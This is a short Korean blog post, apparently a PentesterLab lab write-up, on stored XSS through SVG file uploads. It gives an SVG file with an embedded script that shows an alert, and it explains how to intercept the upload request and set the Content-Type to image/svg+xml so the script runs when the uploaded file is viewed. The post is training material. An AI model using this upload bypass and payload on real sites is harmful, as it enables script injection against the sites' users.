[PentesterLab] SVG XSS

쥬스몬·2022년 3월 24일
0

PentesterLab

목록 보기
17/20

파일 업로드 기능이 있는 페이지에서 이미지 파일만 업로드가 가능할때 XSS로 연결될 수 있는 문제를 기록

문제의 페이지에서는 이미지 파일을 업로드할 수 있는 기능이 있다.

SVG 이미지는 이미지를 설명하는데 사용되는 XML파일이며, 확장이 가능하고 JPG/PNG/GIF 형식의 동일한 이미지 대비 대역폭을 덜 차지하기 때문에 주로 사용된다.

<svg width="500" height="500">
  <text x="0" y="15" fill="red">A black rectangle:</text>
  <rect width="300" height="20" style="fill:rgb(0,0,0);stroke-width:3;stroke:rgb(0,0,0)" x="100" y="0" />
</svg>

공격자가 SVG를 좋아할 수 밖에없는 이유는 이미지에 Javascript를 포함할 수 있기때문에 여기서 XSS가 발생할 수 있다.

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    alert("SVG XSS!");
  </script>
</svg>

위에서 확인한 파일 업로드 페이지에 파일 업로드 시 전달되는 패킷을 가로채 아래와 같이 변경하였다.

SVG XSS를 시도할 때 가장 중요한 포인트는 Content-Type에 image/svg+xml을 명시해 주는것이다.

업로드된 페이지로 접근 시 alert이 발동하면서 XSS가 가능하다.

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글